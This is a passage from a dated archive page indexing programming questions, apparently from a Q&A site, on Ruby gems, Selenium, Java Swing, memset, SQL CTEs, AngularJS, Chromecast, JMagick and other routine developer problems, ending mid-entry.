Daily Archives

Articles indexed Friday June 13 2014

Page 8/13 | < Previous Page | 4 5 6 7 8 9 10 11 12 13  | Next Page >

  • rvm `require': no such file to load -- rubygems (LoadError)

    - by xxd
    run a ruby code got error "rvm `require': no such file to load -- rubygems (LoadError)" bash-3.2$ rvm --default ruby-2.0.0-p451 -bash-3.2$ rvm list rvm rubies =* ruby-2.0.0-p451 [ x86_64 ] -bash-3.2$ gem list --local *** LOCAL GEMS *** bigdecimal (1.2.0) bundler (1.5.3) bundler-unload (1.0.2) executable-hooks (1.3.1) gem-wrappers (1.2.4) io-console (0.4.2) json (1.7.7) minitest (4.3.2) net-ssh (2.9.1) psych (2.0.0) rake (0.9.6) rdoc (4.0.0) rubygems-bundler (1.4.2) rvm (1.11.3.9) test-unit (2.0.0.0) -bash-3.2$ gem list --local rubygems *** LOCAL GEMS *** rubygems-bundler (1.4.2) to run the script: ruby test.rb `require': no such file to load -- rubygems (LoadError) $ cat test.rb require 'rubygems' require 'net/ssh' Net::SSH.start(............. what's going on? please advice. thanks

    Read the article

  • Looping through an List to select an Element in Selenium

    - by ChrisMcLellan
    I'm attempting to write a Page Class for Links within the Header of the website I'm testing. I have the following link structure below <ul> <li><a href="/" title="Home">Home</a></li> <li><a href="/AboutUs" title="About Us">About Us</a> </li> <li><a href="/Account" title="Account">Account</a></li> <li><a href="/Account/Orders" title="Orders">Orders</a></li> <li><a href="/AdministrationPortal" title="Administration Portal">Administration Portal</a></li> </ul> What I want to do is store these into a List, then when a user select one of the links, it will take then to the page they should go to. I have started with the following code below List<IWebElement> headerElements = new List<IWebElement>(); headerElements.Add(WebDriver.FindElement(By.LinkText("Home"))); headerElements.Add(WebDriver.FindElement(By.LinkText("About Us"))); headerElements.Add(WebDriver.FindElement(By.LinkText("Account"))); headerElements.Add(WebDriver.FindElement(By.LinkText("Orders"))); headerElements.Add(WebDriver.FindElement(By.LinkText("Administration Portal"))); headerElements.Add(WebDriver.FindElement(By.LinkText("Log in / Register"))); headerElements.Add(WebDriver.FindElement(By.LinkText("Log off"))); I was thinking for using a for loop to do this, would this be the best way. I'm trying to avoid writting methods like the one below for each link public void SelectCreateNewReferralLink() { var selectAboutUsLink = ( new WebDriverWait(WebDriver, new TimeSpan(50))).Until (ExpectedConditions.ElementExists(By.CssSelector("#main > a:nth-of-type(1)"))); selectCreateNewReferralLink.Click(); } I'm using C#, with WebDriver attempting to write this Any Help would be great Thanks Chris

    Read the article

  • I can''t figure out how to use the comboBox to remove radiobuttons

    - by user3576336
    import java.awt.EventQueue; import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.border.EmptyBorder; import javax.swing.ButtonGroup; import javax.swing.JLabel; import javax.swing.JDesktopPane; import javax.swing.JRadioButton; import javax.swing.JComboBox; import java.awt.GridBagLayout; import java.awt.GridBagConstraints; import java.awt.Insets; import java.awt.Color; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; @SuppressWarnings("serial") public class Calendar1 extends JFrame implements ActionListener { private JPanel contentPane; String[] Months = { "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" }; JDesktopPane desktopPane; ButtonGroup bG = new ButtonGroup(); JRadioButton radioButton, rdbtnNewRadioButton, radioButton_1, radioButton_2, radioButton_3, radioButton_4, radioButton_5, radioButton_6, radioButton_7, radioButton_8, radioButton_9, radioButton_10, radioButton_11, radioButton_12, radioButton_13, radioButton_14, radioButton_15, radioButton_16, radioButton_17, radioButton_18, radioButton_19, radioButton_20, radioButton_21, radioButton_22, radioButton_23, radioButton_24, radioButton_25, radioButton_26, radioButton_27, radioButton_28, radioButton_29; /** * Launch the application. */ public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { Calendar1 frame = new Calendar1(); frame.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } }); } /** * Create the frame. */ @SuppressWarnings("unchecked") public Calendar1() { setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setBounds(100, 100, 521, 300); contentPane = new JPanel(); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); setContentPane(contentPane); contentPane.setLayout(null); JComboBox comboBox = new JComboBox(Months); comboBox.setBounds(28, 16, 132, 27); contentPane.add(comboBox); comboBox.setSelectedIndex(0); comboBox.addActionListener(this); JLabel label = new JLabel("2014"); label.setBounds(350, 20, 61, 16); contentPane.add(label); desktopPane = new JDesktopPane(); desktopPane.setBackground(new Color(30, 144, 255)); desktopPane.setBounds(0, 63, 495, 188); contentPane.add(desktopPane); GridBagLayout gbl_desktopPane = new GridBagLayout(); gbl_desktopPane.columnWidths = new int[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; gbl_desktopPane.rowHeights = new int[] { 0, 0, 0, 0, 0, 0, 0, 0 }; gbl_desktopPane.columnWeights = new double[] { 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, Double.MIN_VALUE }; gbl_desktopPane.rowWeights = new double[] { 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, Double.MIN_VALUE }; desktopPane.setLayout(gbl_desktopPane); // JLabel lblSun = new JLabel("Sun"); // lblSun.setForeground(Color.RED); // // GridBagConstraints gbc_lblSun = new GridBagConstraints(); // gbc_lblSun.insets = new Insets(0, 0, 5, 5); // gbc_lblSun.gridx = 2; // gbc_lblSun.gridy = 0; // desktopPane.add(lblSun, gbc_lblSun); // // JLabel lblMon = new JLabel("Mon"); // GridBagConstraints gbc_lblMon = new GridBagConstraints(); // gbc_lblMon.insets = new Insets(0, 0, 5, 5); // gbc_lblMon.gridx = 4; // gbc_lblMon.gridy = 0; // desktopPane.add(lblMon, gbc_lblMon); // // JLabel lblTues = new JLabel("Tues"); // GridBagConstraints gbc_lblTues = new GridBagConstraints(); // gbc_lblTues.insets = new Insets(0, 0, 5, 5); // gbc_lblTues.gridx = 6; // gbc_lblTues.gridy = 0; // desktopPane.add(lblTues, gbc_lblTues); // // JLabel lblWed = new JLabel("Wed"); // GridBagConstraints gbc_lblWed = new GridBagConstraints(); // gbc_lblWed.insets = new Insets(0, 0, 5, 5); // gbc_lblWed.gridx = 8; // gbc_lblWed.gridy = 0; // desktopPane.add(lblWed, gbc_lblWed); // // JLabel lblThurs = new JLabel("Thurs"); // GridBagConstraints gbc_lblThurs = new GridBagConstraints(); // gbc_lblThurs.insets = new Insets(0, 0, 5, 5); // gbc_lblThurs.gridx = 10; // gbc_lblThurs.gridy = 0; // desktopPane.add(lblThurs, gbc_lblThurs); // // JLabel lblFri = new JLabel("Friday"); // GridBagConstraints gbc_lblFri = new GridBagConstraints(); // gbc_lblFri.insets = new Insets(0, 0, 5, 5); // gbc_lblFri.gridx = 12; // gbc_lblFri.gridy = 0; // desktopPane.add(lblFri, gbc_lblFri); // // JLabel lblSat = new JLabel("Sat"); // lblSat.setForeground(Color.RED); // GridBagConstraints gbc_lblSat = new GridBagConstraints(); // gbc_lblSat.insets = new Insets(0, 0, 5, 5); // gbc_lblSat.gridx = 14; // gbc_lblSat.gridy = 0; // desktopPane.add(lblSat, gbc_lblSat); radioButton = new JRadioButton("1"); GridBagConstraints gbc_radioButton = new GridBagConstraints(); gbc_radioButton.insets = new Insets(0, 0, 5, 5); gbc_radioButton.gridx = 8; gbc_radioButton.gridy = 1; desktopPane.add(radioButton, gbc_radioButton); bG.add(radioButton); rdbtnNewRadioButton = new JRadioButton("2"); GridBagConstraints gbc_rdbtnNewRadioButton = new GridBagConstraints(); gbc_rdbtnNewRadioButton.insets = new Insets(0, 0, 5, 5); gbc_rdbtnNewRadioButton.gridx = 10; gbc_rdbtnNewRadioButton.gridy = 1; desktopPane.add(rdbtnNewRadioButton, gbc_rdbtnNewRadioButton); bG.add(rdbtnNewRadioButton); radioButton_1 = new JRadioButton("3"); GridBagConstraints gbc_radioButton_1 = new GridBagConstraints(); gbc_radioButton_1.insets = new Insets(0, 0, 5, 5); gbc_radioButton_1.gridx = 12; gbc_radioButton_1.gridy = 1; desktopPane.add(radioButton_1, gbc_radioButton_1); bG.add(radioButton_1); radioButton_2 = new JRadioButton("4"); GridBagConstraints gbc_radioButton_2 = new GridBagConstraints(); gbc_radioButton_2.insets = new Insets(0, 0, 5, 5); gbc_radioButton_2.gridx = 14; gbc_radioButton_2.gridy = 1; desktopPane.add(radioButton_2, gbc_radioButton_2); bG.add(radioButton_2); radioButton_3 = new JRadioButton("5"); GridBagConstraints gbc_radioButton_3 = new GridBagConstraints(); gbc_radioButton_3.insets = new Insets(0, 0, 5, 5); gbc_radioButton_3.gridx = 2; gbc_radioButton_3.gridy = 2; desktopPane.add(radioButton_3, gbc_radioButton_3); bG.add(radioButton_3); radioButton_4 = new JRadioButton("6"); GridBagConstraints gbc_radioButton_4 = new GridBagConstraints(); gbc_radioButton_4.insets = new Insets(0, 0, 5, 5); gbc_radioButton_4.gridx = 4; gbc_radioButton_4.gridy = 2; desktopPane.add(radioButton_4, gbc_radioButton_4); bG.add(radioButton_4); radioButton_5 = new JRadioButton("7"); GridBagConstraints gbc_radioButton_5 = new GridBagConstraints(); gbc_radioButton_5.insets = new Insets(0, 0, 5, 5); gbc_radioButton_5.gridx = 6; gbc_radioButton_5.gridy = 2; desktopPane.add(radioButton_5, gbc_radioButton_5); bG.add(radioButton_5); radioButton_6 = new JRadioButton("8"); GridBagConstraints gbc_radioButton_6 = new GridBagConstraints(); gbc_radioButton_6.insets = new Insets(0, 0, 5, 5); gbc_radioButton_6.gridx = 8; gbc_radioButton_6.gridy = 2; desktopPane.add(radioButton_6, gbc_radioButton_6); bG.add(radioButton_6); radioButton_7 = new JRadioButton("9"); GridBagConstraints gbc_radioButton_7 = new GridBagConstraints(); gbc_radioButton_7.insets = new Insets(0, 0, 5, 5); gbc_radioButton_7.gridx = 10; gbc_radioButton_7.gridy = 2; desktopPane.add(radioButton_7, gbc_radioButton_7); bG.add(radioButton_7); radioButton_8 = new JRadioButton("10"); GridBagConstraints gbc_radioButton_8 = new GridBagConstraints(); gbc_radioButton_8.insets = new Insets(0, 0, 5, 5); gbc_radioButton_8.gridx = 12; gbc_radioButton_8.gridy = 2; desktopPane.add(radioButton_8, gbc_radioButton_8); bG.add(radioButton_8); radioButton_9 = new JRadioButton("11"); GridBagConstraints gbc_radioButton_9 = new GridBagConstraints(); gbc_radioButton_9.insets = new Insets(0, 0, 5, 5); gbc_radioButton_9.gridx = 14; gbc_radioButton_9.gridy = 2; desktopPane.add(radioButton_9, gbc_radioButton_9); bG.add(radioButton_9); radioButton_10 = new JRadioButton("12"); GridBagConstraints gbc_radioButton_10 = new GridBagConstraints(); gbc_radioButton_10.insets = new Insets(0, 0, 5, 5); gbc_radioButton_10.gridx = 2; gbc_radioButton_10.gridy = 3; desktopPane.add(radioButton_10, gbc_radioButton_10); bG.add(radioButton_10); radioButton_11 = new JRadioButton("13"); GridBagConstraints gbc_radioButton_11 = new GridBagConstraints(); gbc_radioButton_11.insets = new Insets(0, 0, 5, 5); gbc_radioButton_11.gridx = 4; gbc_radioButton_11.gridy = 3; desktopPane.add(radioButton_11, gbc_radioButton_11); bG.add(radioButton_11); radioButton_12 = new JRadioButton("14"); GridBagConstraints gbc_radioButton_12 = new GridBagConstraints(); gbc_radioButton_12.insets = new Insets(0, 0, 5, 5); gbc_radioButton_12.gridx = 6; gbc_radioButton_12.gridy = 3; desktopPane.add(radioButton_12, gbc_radioButton_12); bG.add(radioButton_12); radioButton_13 = new JRadioButton("15"); GridBagConstraints gbc_radioButton_13 = new GridBagConstraints(); gbc_radioButton_13.insets = new Insets(0, 0, 5, 5); gbc_radioButton_13.gridx = 8; gbc_radioButton_13.gridy = 3; desktopPane.add(radioButton_13, gbc_radioButton_13); bG.add(radioButton_13); radioButton_14 = new JRadioButton("16"); GridBagConstraints gbc_radioButton_14 = new GridBagConstraints(); gbc_radioButton_14.insets = new Insets(0, 0, 5, 5); gbc_radioButton_14.gridx = 10; gbc_radioButton_14.gridy = 3; desktopPane.add(radioButton_14, gbc_radioButton_14); bG.add(radioButton_14); radioButton_15 = new JRadioButton("17"); GridBagConstraints gbc_radioButton_15 = new GridBagConstraints(); gbc_radioButton_15.insets = new Insets(0, 0, 5, 5); gbc_radioButton_15.gridx = 12; gbc_radioButton_15.gridy = 3; desktopPane.add(radioButton_15, gbc_radioButton_15); bG.add(radioButton_15); radioButton_16 = new JRadioButton("18"); GridBagConstraints gbc_radioButton_16 = new GridBagConstraints(); gbc_radioButton_16.insets = new Insets(0, 0, 5, 5); gbc_radioButton_16.gridx = 14; gbc_radioButton_16.gridy = 3; desktopPane.add(radioButton_16, gbc_radioButton_16); bG.add(radioButton_16); radioButton_17 = new JRadioButton("19"); GridBagConstraints gbc_radioButton_17 = new GridBagConstraints(); gbc_radioButton_17.insets = new Insets(0, 0, 5, 5); gbc_radioButton_17.gridx = 2; gbc_radioButton_17.gridy = 4; desktopPane.add(radioButton_17, gbc_radioButton_17); bG.add(radioButton_17); radioButton_18 = new JRadioButton("20"); GridBagConstraints gbc_radioButton_18 = new GridBagConstraints(); gbc_radioButton_18.insets = new Insets(0, 0, 5, 5); gbc_radioButton_18.gridx = 4; gbc_radioButton_18.gridy = 4; desktopPane.add(radioButton_18, gbc_radioButton_18); bG.add(radioButton_18); radioButton_19 = new JRadioButton("21"); GridBagConstraints gbc_radioButton_19 = new GridBagConstraints(); gbc_radioButton_19.insets = new Insets(0, 0, 5, 5); gbc_radioButton_19.gridx = 6; gbc_radioButton_19.gridy = 4; desktopPane.add(radioButton_19, gbc_radioButton_19); bG.add(radioButton_19); radioButton_20 = new JRadioButton("22"); GridBagConstraints gbc_radioButton_20 = new GridBagConstraints(); gbc_radioButton_20.insets = new Insets(0, 0, 5, 5); gbc_radioButton_20.gridx = 8; gbc_radioButton_20.gridy = 4; desktopPane.add(radioButton_20, gbc_radioButton_20); bG.add(radioButton_20); radioButton_21 = new JRadioButton("23"); GridBagConstraints gbc_radioButton_21 = new GridBagConstraints(); gbc_radioButton_21.insets = new Insets(0, 0, 5, 5); gbc_radioButton_21.gridx = 10; gbc_radioButton_21.gridy = 4; desktopPane.add(radioButton_21, gbc_radioButton_21); bG.add(radioButton_21); radioButton_22 = new JRadioButton("24"); GridBagConstraints gbc_radioButton_22 = new GridBagConstraints(); gbc_radioButton_22.insets = new Insets(0, 0, 5, 5); gbc_radioButton_22.gridx = 12; gbc_radioButton_22.gridy = 4; desktopPane.add(radioButton_22, gbc_radioButton_22); bG.add(radioButton_22); radioButton_23 = new JRadioButton("25"); GridBagConstraints gbc_radioButton_23 = new GridBagConstraints(); gbc_radioButton_23.insets = new Insets(0, 0, 5, 5); gbc_radioButton_23.gridx = 14; gbc_radioButton_23.gridy = 4; desktopPane.add(radioButton_23, gbc_radioButton_23); bG.add(radioButton_23); radioButton_24 = new JRadioButton("26"); GridBagConstraints gbc_radioButton_24 = new GridBagConstraints(); gbc_radioButton_24.insets = new Insets(0, 0, 5, 5); gbc_radioButton_24.gridx = 2; gbc_radioButton_24.gridy = 5; desktopPane.add(radioButton_24, gbc_radioButton_24); bG.add(radioButton_24); radioButton_25 = new JRadioButton("27"); GridBagConstraints gbc_radioButton_25 = new GridBagConstraints(); gbc_radioButton_25.insets = new Insets(0, 0, 5, 5); gbc_radioButton_25.gridx = 4; gbc_radioButton_25.gridy = 5; desktopPane.add(radioButton_25, gbc_radioButton_25); bG.add(radioButton_25); radioButton_26 = new JRadioButton("28"); GridBagConstraints gbc_radioButton_26 = new GridBagConstraints(); gbc_radioButton_26.insets = new Insets(0, 0, 5, 5); gbc_radioButton_26.gridx = 6; gbc_radioButton_26.gridy = 5; desktopPane.add(radioButton_26, gbc_radioButton_26); bG.add(radioButton_26); radioButton_27 = new JRadioButton("29"); GridBagConstraints gbc_radioButton_27 = new GridBagConstraints(); gbc_radioButton_27.insets = new Insets(0, 0, 5, 5); gbc_radioButton_27.gridx = 8; gbc_radioButton_27.gridy = 5; desktopPane.add(radioButton_27, gbc_radioButton_27); bG.add(radioButton_27); radioButton_28 = new JRadioButton("30"); GridBagConstraints gbc_radioButton_28 = new GridBagConstraints(); gbc_radioButton_28.insets = new Insets(0, 0, 5, 5); gbc_radioButton_28.gridx = 10; gbc_radioButton_28.gridy = 5; desktopPane.add(radioButton_28, gbc_radioButton_28); bG.add(radioButton_28); radioButton_29 = new JRadioButton("31"); GridBagConstraints gbc_radioButton_29 = new GridBagConstraints(); gbc_radioButton_29.insets = new Insets(0, 0, 5, 5); gbc_radioButton_29.gridx = 12; gbc_radioButton_29.gridy = 5; desktopPane.add(radioButton_29, gbc_radioButton_29); bG.add(radioButton_29); } @Override public void actionPerformed(ActionEvent e) { JComboBox cb = (JComboBox) e.getSource(); String months = (String) cb.getSelectedItem(); if (months.equals("February")) { desktopPane.remove(radioButton_28); desktopPane.revalidate(); } } } I'm trying to use the combobox to remove radiobuttons in the actionperformed, but when I run the program, nothing happens, nor can I enable new buttons in the actionperformed. Thank you so much in advance for helping me out.

    Read the article

  • How memset initializes an array of integers by -1?

    - by haccks
    The manpage says about memset: #include <string.h> void *memset(void *s, int c, size_t n) The memset() function fills the first n bytes of the memory area pointed to by s with the constant byte c. It is clear that memset can't be used to initialize int array as shown below: int a[10]; memset(a, 1, sizeof(a)); it is because int is represented by 4 bytes (say) and one can not get the desired value for the integers in array a. But I often see the programmers use memset to set the int array elements to either 0 or -1. int a[10]; int b[10]; memset(a, 0, sizeof(a)); memset(b, -1, sizeof(b)); As per my understanding, initializing with integer 0 is OK because 0 can be represented in 1 byte (may be I am wrong in this context). But how it is possible to initialize b with -1 (a 4 bytes value)?

    Read the article

  • Recursive CTE with alternating tables

    - by SOfanatic
    I've created a SQL fiddle here. Basically, I have 3 tables BaseTable, Files, and a LinkingTable. The Files table has 3 columns: PK, BaseTableId, RecursiveId (ChildId). What I want to do is find all the children given a BaseTableId (i.e., ParentId). The tricky part is that the way the children are found works like this: Take ParentId 1 and use that to look up a FileId in the Files table, then use that FileId to look for a ChildId in the LinkingTable, if that record exists then use the RecursiveId in the LinkingTable to look for the next FileId in the Files table and so on. This is my CTE so far: with CTE as ( select lt.FileId, lt.RecursiveId, 0 as [level], bt.BaseTableId from BaseTable bt join Files f on bt.BaseTableId = f.BaseTableId join LinkingTable lt on f.FileId = lt.FileId where bt.BaseTableId = @Id UNION ALL select rlt.FileId, rlt.RecursiveId, [level] + 1 as [level], CTE.BaseTableId from CTE --??? and this is where I get lost ... ) A correct output for BaseTableId = 1, should be: FileId|RecursiveId|level|BaseTableId 1 1 0 1 3 2 1 1 4 3 2 1

    Read the article

  • Ruby CSV in Array

    - by mattrock
    I read a CSV file. This file looks like this 1.00 cm; 2.00cm ; 3.00 cm; ... ; 100 cm 2.00 cm; 4.00 cm; 6.00 cm; ... ; 100 cm 4.00 cm; 8.00 cm; 12.00 cm; ... ; 100cm 8.00 cm; 16.00 cm; 24.00 cm; ... ; 100cm I have already written the following code CSV.foreach("/Users/testUser/Entwicklung/coverrechner/CoverPaperDE.csv", col_sep: ';') do |row| puts row[0] end This produces the following output: 1.00 cm 2.00 cm 4.00 cm 8.00 cm Example: My matrix is constructed 1.1 1.2 1.3 1.4 2.1 2.2 2.3 2.4 3.1 3.2 3.3 3.4 4.1 4.2 4.3 4.4 I want the following output 1.1 2.1 3.1 4.1 1.2 2.2 3.2 4.2 ... 4.4 How does it work?

    Read the article

  • How to get user input before saving a file in Sublime Text

    - by EddieJessup
    I'm making a plugin in Sublime Text that prompts the user for a password to encrypt a file before it's saved. There's a hook in the API that's executed before a save is executed, so my naïve implementation is: class TranscryptEventListener(sublime_plugin.EventListener): def on_pre_save(self, view): # If document is set to encode on save if view.settings().get('ON_SAVE'): self.view = view # Prompt user for password message = "Create a Password:" view.window().show_input_panel(message, "", self.on_done, None, None) def on_done(self, password): self.view.run_command("encode", {password": password}) The problem with this is, by the time the input panel appears for the user to enter their password, the document has already been saved (despite the trigger being 'on_pre_save'). Then once the user hits enter, the document is encrypted fine, but the situation is that there's a saved plaintext file, and a modified buffer filled with the encrypted text. So I need to make Sublime Text wait until the user's input the password before carrying out the save. Is there a way to do this? At the moment I'm just manually re-saving once the encryption has been done: def on_pre_save(self, view, encode=False): if view.settings().get('ON_SAVE') and not view.settings().get('ENCODED'): self.view = view message = "Create a Password:" view.window().show_input_panel(message, "", self.on_done, None, None) def on_done(self, password): self.view.run_command("encode", {password": password}) self.view.settings().set('ENCODED', True) self.view.run_command('save') self.view.settings().set('ENCODED', False) but this is messy and if the user cancels the encryption then the plaintext file gets saved, which isn't ideal. Any thoughts? Edit: I think I could do it cleanly by overriding the default save command. I hoped to do this by using the on_text_command or on_window_command triggers, but it seems that the save command doesn't trigger either of these (maybe it's an application command? But there's no on_application_command). Is there just no way to override the save function?

    Read the article

  • Solr adding document cycle & wait on response issue

    - by user1585896
    I am trying to send http post request to Solr for adding 50000 documents (all individual request one after another in while loop). I am using DefaultHttpClient in java to connect to Solr and when I use execute method on my HttpPost Solr takes 3 to 4 ms to response. I have commit=false, autoCommit=false, autoSoftCommit=false. My question is why it takes that much time to response and why cycle it follows to add new document. Basically I want to send add request but do not want to commit to see how many request can Solr handle without doing any kind of commits(without having to do any disk access). My guess is with above parameter tuned off I should be hitting Solr about 10000 times every second, but my result is 300 times a second. I am generating random data to add in my code.

    Read the article

  • Something like a manual refresh is needed angularjs, and a $digest() iterations error

    - by Tony Ennis
    (post edited again, new comments follow this line) I'm changing the title of this posting since it was misleading - I was trying to fix a symptom. I was unable to figure out why the code was breaking with a $digest() iterations error. A plunk of my code worked fine. I was totally stuck, so I decided to make my code a little more Angular-like. One anti-pattern I had implemented was to hide my model behind my controller by adding getters/setters to the controller. I tore all that out and instead put the model into the $scope since I had read that was proper Angular. To my surprise, the $digest() iterations error went away. I do not exactly know why and I do not have the intestinal fortitude to put the old code back and figure it out. I surmise that by involving the controller in the get/put of the data I added a dependency under the hood. I do not understand it. edit #2 ends here. (post edited, see EDIT below) I was working through my first Error: 10 $digest() iterations reached. Aborting! error today. I solved it this way: <div ng-init="lineItems = ctrl.getLineItems()"> <tr ng-repeat="r in lineItems"> <td>{{r.text}}</td> <td>...</td> <td>{{r.price | currency}}</td> </tr </div> Now a new issue has arisen - the line items I'm producing can be modified by another control on the page. It's a text box for a promo code. The promo code adds a discount to the lineItem array. It would show up if I could ng-repeat over ctrl.getLineItems(). Since the ng-repeat is looking at a static variable, not the actual model, it doesn't see that the real line items have changed and thus the promotional discount doesn't get displayed until I refresh the browser. Here's the HTML for the promo code: <input type="text" name="promo" ng-model="ctrl.promoCode"/> <button ng-click="ctrl.applyPromoCode()">apply promo code</button> The input tag is writing the value to the model. The bg-click in the button is invoking a function that will apply the code. This could change the data behind the lineItems. I have been advised to use $scope.apply(...). However, since this is applied as a matter of course by ng-click is isn't going to do anything. Indeed, if I add it to ctrl.applyPromoCode(), I get an error since an .apply() is already in progress. I'm at a loss. EDIT The issue above is probably the result of me fixing of symptom, not a problem. Here is the original HTML that was dying with the 10 $digest() iterations error. <table> <tr ng-repeat="r in ctrl.getLineItems()"> <td>{{r.text}}</td> <td>...</td> <td>{{r.price | currency}}</td> </tr> </table> The ctrl.getLineItems() function doesn't do much but invoke a model. I decided to keep the model out of the HTML as much as I could. this.getLineItems = function() { var total = 0; this.lineItems = []; this.lineItems.push({text:"Your quilt will be "+sizes[this.size].block_size+" squares", price:sizes[this.size].price}); total = sizes[this.size].price; this.lineItems.push({text: threads[this.thread].narrative, price:threads[this.thread].price}); total = total + threads[this.thread].price; if (this.sashing) { this.lineItems.push({text:"Add sashing", price: this.getSashingPrice()}); total = total + sizes[this.size].sashing; } else { this.lineItems.push({text:"No sashing", price:0}); } if(isNaN(this.promo)) { this.lineItems.push({text:"No promo code", price:0}); } else { this.lineItems.push({text:"Promo code", price: promos[this.promo].price}); total = total + promos[this.promo].price; } this.lineItems.push({text:"Shipping", price:this.shipping}); total = total + this.shipping; this.lineItems.push({text:"Order Total", price:total}); return this.lineItems; }; And the model code assembled an array of objects based upon the items selected. I'll abbreviate the class as it croaks as long as the array has a row. function OrderModel() { this.lineItems = []; // Result of the lineItems call ... this.getLineItems = function() { var total = 0; this.lineItems = []; ... this.lineItems.push({text:"Order Total", price:total}); return this.lineItems; }; }

    Read the article

  • How to programmatically launch a chromecast app from command line

    - by pushmatrix
    I want to launch a Chromecast app but NOT using the chrome extension or iOS or Android. Doing this from command line. I noticed that you can send a POST to your chromecast, and it will launch an app. For example if I do curl -H “Content-Type: application/json” http://CHROMECAST_IP:8008/apps/YouTube -X POST -d ‘v=oHg5SJYRHA0' Then it will start up youtube. But for some reason I can't do this with custom apps (in dev mode). I thought I'd be able to send a POST to http://CHROMECAST_IP:8008/apps/MY_REGISTERED_APP_ID, but no luck. I just get a 404 response. Hmmm... My app is just a simple webpage (it is not streamed media). I want to run a little headless server that starts my chromecast app everyday via a CRON task. Any help is greatly appreciated! Thanks :)

    Read the article

  • JSDoc with AngularJS

    - by Nick White
    Currently within my Project we are using JSDoc, we have recently started to implement Angular and I want to continue using JSDoc to ensure that all the documentation is within the same place. I have taken a look at people mainly just saying to use ngDoc but this isn't really a viable option as we will always have separate JavaScript and I ideally would have everything together. /** * @author Example <[email protected]> * @copyright 2014 Example Ltd. All rights reserved. */ (function () { window.example = window.example || {}; /** * Example Namespace * @memberOf example * @namespace example.angular */ window.example.angular = window.example.angular || {}; var exAngular = window.example.angular; /** * A Example Angular Bootstrap Module * @module exampleAngularBootstrap */ exAngular.bootstrap = angular.module('exampleAngularBootstrap', [ 'ngRoute', 'ngResource', 'ngCookies' ]) .run(function ($http, $cookies) { $http.defaults.headers.post['X-CSRFToken'] = $cookies.csrftoken; $http.defaults.headers.common['X-CSRFToken'] = $cookies.csrftoken; }); })(); Currently this is what I have but am unable to put documentation for the run() any ideas? Thank you in advanced!

    Read the article

  • Referencing sheets with spaces

    - by user2250964
    I am having an issue with referencing the sheet name through =Branded!$A$1 Notation in VBA. For a while I have passed in simple sheet names like: Dim SheetName As String SheetName = "Pizza" ("=" & SheetName & "!$A$1") This has worked fine, but recently I passed in "Tier 1" and of course this notation broke. Is there any fix or workaround for this? It Think it's because of the space, the number or both....

    Read the article

  • StreamSocket to Stream in windows phone 8

    - by Abouzar Nouri
    I am trying to use Bluetooth in WP8 to send an image from my app on a device and show it in my app on another device. The receiver has a StreamSocket object to read the data from it like the code below await _dataReader.LoadAsync(4); uint messageLen = (uint)_dataReader.ReadInt32(); await _dataReader.LoadAsync(messageLen); string imageData _dataReader.ReadString(messageLen); Then I have to save all the received data (image) on the device and then create a Stream object from the stored data to give it to the BitmapSource.SetSource(Stream) function to be able to show this image on my app. var image = new BitmapImage(); image.SetSource(stream); All I want to do is not to skip this double work and directly convert the StreamSocket object (from Bluetooth connection) to a Stream object and make the BitmapSource image. Is there any way to do this?

    Read the article

  • Create image from scratch with JMagick

    - by Michael IV
    I am using Java port of ImageMagick called JMagick .I need to be able to create a new image and write an arbitrary text chunk into it.The docs are very poor and what I managed to get so far is to write text into the image which comes from IO.Also , in all the examples I have found it seems like the very first operation ,before writing new image data , is always loading of an existing image into ImageInfo instance.How do I create an image from scratch with JMagick and then write a text into it? Here is what I do now : try { ImageInfo info = new ImageInfo(); info.setSize("512x512"); info.setUnits(ResolutionType.PixelsPerInchResolution); info.setColorspace(ColorspaceType.RGBColorspace); info.setBorderColor(PixelPacket.queryColorDatabase("red")); info.setDepth(8); BufferedImage img = new BufferedImage(512,512,BufferedImage.TYPE_4BYTE_ABGR); byte[] imageBytes = ((DataBufferByte) img.getData().getDataBuffer()).getData(); MagickImage mimage = new MagickImage(info,imageBytes); DrawInfo aInfo = new DrawInfo(info); aInfo.setFill(PixelPacket.queryColorDatabase("green")); aInfo.setUnderColor(PixelPacket.queryColorDatabase("yellow")); aInfo.setOpacity(0); aInfo.setPointsize(36); aInfo.setFont("Arial"); aInfo.setTextAntialias(true); aInfo.setText("JMagick Tutorial"); aInfo.setGeometry("+40+40"); mimage.annotateImage(aInfo); mimage.setFileName("text.jpg"); mimage.writeImage(info); } catch (MagickException ex) { Logger.getLogger(LWJGL_IDOMOO_SIMPLE_TEST.class.getName()).log(Level.SEVERE, null, ex); } It doesn't work , the JVM crashes with access violation as it probably expects for the input image from IO.

    Read the article

  • Getting Public Info about Location in Facebook Graph API

    - by Allan Deamon
    I need to get the living city of each person in a group. Including people that are not my friends. In the browser seeing facebook profile of some unknown person, they show "lives in ...", if this is set as public information. They include the link to the city object with the city id in the link. That's all that I need. But, using a facebook app that I created to use the facebook graph api, this information is not public. I can only get the user propriety 'location' from friends of my that I have permission to see it. I gave ALL the possible permissions to my app. In the api explorer, when I use it as REST, they show few informations about someone not friend of mine. https://developers.facebook.com/tools/explorer/ Also in the api explorer, when I use the FQL, it didn't works. This query works, returning the JSON with the data: SELECT uid, name FROM user WHERE username='...'; But this other query doesn't work: SELECT uid, name, location FROM user WHERE username='...'; They return a json with a error code: { "error": { "message": "(#602) location is not a member of the user table.", "type": "OAuthException", "code": 602 } } I asked for ALL the permissions options in the token. And I can get this info in the browser version of the facebook. But how can I get it with the API ?

    Read the article

  • Fixing up Visual Studio&rsquo;s gitignore , using IFix

    - by terje
